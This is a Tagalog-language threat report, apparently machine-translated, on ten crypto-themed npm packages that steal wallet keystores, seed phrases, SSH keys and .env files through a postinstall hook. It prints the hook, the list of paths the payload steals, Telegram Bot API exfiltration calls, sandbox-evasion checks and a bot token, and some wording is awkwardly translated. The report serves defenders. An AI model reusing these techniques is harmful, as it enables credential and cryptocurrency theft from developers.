SeedSweep: Sampung Malisyosong Pakete ng Crypto ng npm

SeedSweep: Sampung Pakete ng npm na May Temang Crypto na Tumatakbo Lamang Kapag Walang Nakatingin

Tl; DR

Noong Hunyo 9, 2026, isang npm publisher account, aicrypto-xzggg, ipinadala sampung pakete na may mga pangalang may lasang crypto at Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, at anim pa.

Ang bawat pakete ay nagpapatakbo ng parehong payload mula sa isang postinstall hook. Sa pag-install, sinusuri nito kung tumatakbo ito sa loob ng CI o isang sandbox — kung hindi, binabasa nito ang mga wallet keystore, seed-phrase file, SSH key, at .env mga file mula sa anim na blockchain ecosystem at ipinapadala ang mga ito sa isang Telegram bot.

Ang nag-iisang tagapagpahiwatig na maaaring agad na hanapin ng isang tagapagtanggol ay ang Telegram bot id. 8227918239.

Lubhang: mapanganib — direktang pagnanakaw ng mga susi sa pagpirma at mga parirala sa pagbawi mula sa mga workstation ng developer.

Ang Pag-atake: Paano Ito Gumagana

Ang mga pakete ay nag-aanunsyo ng kanilang mga sarili bilang mga kagamitan sa pagbuo ng blockchain. package.json ay minimal at itinuturo ang install lifecycle sa isang script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

mga script/postinstall.js ay isang one-line shim na naglo-load ng totoong payload: nangangailangan(“../src/index.js”). dahil sa postinstall awtomatikong tumatakbo habang install npm, hindi kinakailangan ang pag-import ng code ng developer — sapat na ang paglalagay ng package sa isang dependency tree upang maisagawa ito.

Ang kadena ng pagpatay sa loob src/index.js ay apat na hakbang:

  1. Pagsusuri sa kapaligiran. Ang guard function ang nagpapasya kung ang host ay magmumukhang isang build agent o analysis sandbox.
  2. Pagkaantala. Ang pagpapatupad ay ipinagpaliban sa isang setTimeout ng humigit-kumulang 7.4 segundo.
  3. Koleksyon. Isang nakapirming listahan ng mga landas ng wallet, susi, at mga lihim na file ang nilalakaran; ang mga umiiral na file ay nakapila.
  4. Pag-exfiltration. Ang mga nakapila na file ay ipinapadala sa isang Telegram bot, na sinusundan ng isang mensahe ng buod.

Ang listahan ng target na koleksyon ay sumasaklaw sa anim na kadena kasama ang mga generic na sikreto ng developer.

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Dalawampu't isang landas sa kabuuan. Mga entry sa direktoryo tulad ng ~/.ethereum/keystore ay pinalawak at ang bawat file sa loob ay nakapila. Direktang ginagamit ng exfiltration ang Telegram Bot API — isang magpadala ng Mensahe tumawag gamit ang host at buod ng file, pagkatapos ay isang magpadala ng Dokumento pag-upload ng maraming bahagi para sa bawat file:

teksto

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Ang buod na mensahe na binubuo ng code ay nagsisimula sa literal na string MAgnanakaw ng Crypto, na sinusundan ng hostname, username, pangalan ng pinagmulang package, bilang ng file, at timestamp.

Ano ang bago dito

Ang nagpapaiba ay hindi ang mekanismo ng pagnanakaw — Telegram-based exfil mula sa npm postinstall hooks ay natatapakan nang mabuti. Ito ang pintuan ng pagbitay. Bago gumawa ng kahit ano, tatawag ang payload ng isang function na magbabalik ng true kapag ang host ay kahawig ng isang CI runner o sandbox, at babalik nang maaga kapag nangyari ito:

teksto

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Ang container-id regex ay ang mahalagang sugnay: ang 12-hex-character hostname ay ang default na hugis na itinatalaga ng Docker sa isang lalagyan, kaya tinatrato ng payload ang "ang hostname ko ay mukhang isang Docker container" bilang dahilan para manatiling hindi aktibo. Kasama ng pitong segundong pagkaantala, pinapaboran ng disenyo ang pagtakbo sa totoong workstation ng isang developer at pananatiling tahimik kahit saan na mukhang automated analysis. Ang gate na iyon ang pumipigil sa mga signal ng dynamic-analysis at pinanatili ang static exfil flow bilang pangunahing ebidensya ng paniniwala.

timeline

Petsa (UTC) pangyayari
2026-06-09 ~02:48 Ang mga unang pakete sa kumpol ay na-flag sa publikasyon (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Mga miyembrong may mas mataas na bersyon na na-flag (ethereum-kit-9 sa 1.25.36, wallet-sdk-9 sa 3.7.73)
2026-06-09 ~03:58–03:59 Namarkahan ang mga huling miyembro (defi-tools-39 sa 4.26.29, swap-sdk-87 sa 4.63.78, farming-tools-12 sa 4.68.54)
2026-06-09 Lahat ng sampung inuri bilang malisyoso at iniulat na aalisin sa registry

Lahat ng sampu ay lumitaw sa loob ng humigit-kumulang pitumpung minuto, ayon sa iisang scripted publishing run mula sa iisang account.

Mga Tagapagpahiwatig ng Kompromiso

Mga tagapagpahiwatig ng network at pag-uugali (host defanged):

Nagtuturo halaga
Endpoint ng Exfil api[.]telegram[.]org (Telegram Bot API)
ID ng bot ng Telegram 8227918239
Token ng bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID ng chat sa Telegram 6433587894
Ikabit ang kawit postinstallscripts/postinstall.jssrc/index.js
Pananda ng pananda CRYPTO STEALER sa pinagsama-samang mensahe ng buod
Tagapaglathala aicrypto-xzggg (nakasaad na email vipsyria88@gmail[.]com, hindi na-verify)

Mga pakete at bersyon, bawat isa ay may SHA-256 nito src/index.js payload (ang mga payload ay magkapareho sa paggana at nagkakaiba lamang sa naka-embed na label ng pangalan ng pakete, kaya ang bawat hash ay magkakaiba):

html
pakete bersyon SHA-256 ng src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Isang simpleng query sa paghahanap: maghanap sa mga install log at lockfile para sa alinman sa sampung pangalan, at maghanap sa outbound traffic para sa mga koneksyon sa Telegram Bot API mula sa mga build o developer host na hindi naman gumagamit nito.

Pagpapatungkol at Naobserbahang Pag-uugali

Ang lahat ng sampung pakete ay inilathala ng isang account, aicrypto-xzggg, na ang nakasaad na email ay vipsyria88@gmail[.]comParehong hindi na-verify sa metadata ng registry ang email at ang source-control link, at ang account ay mayroong matinding negatibong marka ng reputasyon. Hindi pa namin nakumpirma kung sino ang nagpapatakbo ng account.

Dalawang detalye ang dapat ihiwalay sa anumang pag-aangkin ng pagkakakilanlan. Una, ang package.json may-akda mga pagbasa sa larangan Alex Smith sa bawat pakete, habang ang aktwal na account ng paglalathala ay aicrypto-xzggg; ang patlang ng may-akda ay self-declared metadata at hindi nagtatatag ng pagiging may-akda. Pangalawa, ang mga numero ng bersyon ay lubhang nag-iiba — ang ilang miyembro ay nakaupo sa 1.0.0, ang iba pa sa 4.68.54 — na naaayon sa muling paggamit ng isang payload sa mga bagong gawang pangalan ng pakete sa halip na mapanatili ang mga totoong kasaysayan ng paglabas.

Ang kilos ay pare-pareho sa buong cluster: parehong listahan ng target na landas, parehong Telegram bot id at chat id, parehong environment gate, pareho MAgnanakaw ng Crypto marker. Ang pagkakaparehong iyon ang pinakamalakas na ugnayan sa pagitan ng mga pakete. Ito ay isang signal ng parehong operator, hindi isang pagkakakilanlan.

Epekto, Mga Uso at Patnubay para sa mga Tagapagtanggol

Konkreto ang pagkakalantad. Ang isang developer na nag-i-install ng alinman sa mga paketeng ito sa isang workstation na may hawak na software wallet, seed-phrase file, o SSH key ay binabasa at ipinapadala ang mga file na iyon mula sa host sa loob ng ilang segundo. Ang mga recovery phrase at signing key ay hindi nag-e-expire tulad ng isang session token; kapag ang isang mnemonic.txt o isang Solana id.json umaalis sa makina, ang mga pondong kontrolado nito ay nasa panganib hanggang sa mailipat ang mga ito. Kinukuha rin ng parehong pagtakbo .env mga file, na karaniwang nagdadala ng mga API key at mga kredensyal sa database.

Dalawang trend ang nasa likod ng cluster na ito. Ang una ay ang patuloy na paggamit ng mga pangalang may temang crypto at Web3 upang makaakit ng isang partikular na audience — mga developer na nag-iingat ng mga wallet at key sa parehong makina kung saan sila nag-i-install ng mga dependency. Ang pangalawa ay ang pagkahinog ng sandbox evasion sa mga payload sa oras ng pag-install. Ang isang gate na sumusuri para sa mga CI environment variable, mga username ng runner, at hugis ng hostname ng Docker container-id ay isang sinadyang pagsisikap na kumilos nang naiiba sa ilalim ng pagsusuri kaysa sa isang totoong workstation, at pinapataas nito ang pamantayan para sa purong dynamic na pagtuklas.

Para sa mga tagapagtanggol:

I-install nang naka-disable ang mga script bilang default. npm install –ignore-scripts, o itakda balewalain-scripts=true in .npmrc, pinipigilan postinstall pagpapatupad; paganahin lamang ang mga script para sa mga partikular na dependency na tunay na nangangailangan ng mga ito.

Ilayo ang mga wallet at signing key sa mga build at development machine. Gumamit ng hardware wallet o isang dedikado at dependency-free na signing host.

Gamutin .env, mga keystore, at mga seed-phrase file bilang mga hiyas na korona. Hindi dapat kailanman maupo ang mga ito sa isang direktoryo na isa ring install npm gumaganang puno.

Maghanap ng mga outbound connection papunta sa Telegram Bot API mula sa CI at mga developer host. Karamihan sa mga build environment ay hindi ito tinatawag; ang isang biglaang tinatawag, pagkatapos ng isang pag-install, ay sulit na imbestigahan.

I-pin at suriin ang mga dependency. Isang bagong-bagong pakete na may generic na crypto name, isang postinstall hook, at walang link sa repository ang kailangang tingnan bago ito pumasok sa isang lockfile.

Ang sugnay na "container-id evasion" ay isa ring paalala para sa mga analyst: ang isang payload sa oras ng pag-install na nananatiling hindi aktibo sa isang sandbox ay hindi mabuti, ito ay pumipili lamang. Ang static na pagsusuri sa path ng pag-install ay nananatiling maaasahang paraan upang makita kung ano ang maaaring hindi ipakita ng dynamic na pagpapatupad.

Mga sanggunian

dokumentasyon ng pag-install ng npm — mga script ng lifecycle at –Hindi pansinin-ang mga script— sanggunian para sa hindi pagpapagana ng awtomatikong pag-install hooks. 

mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite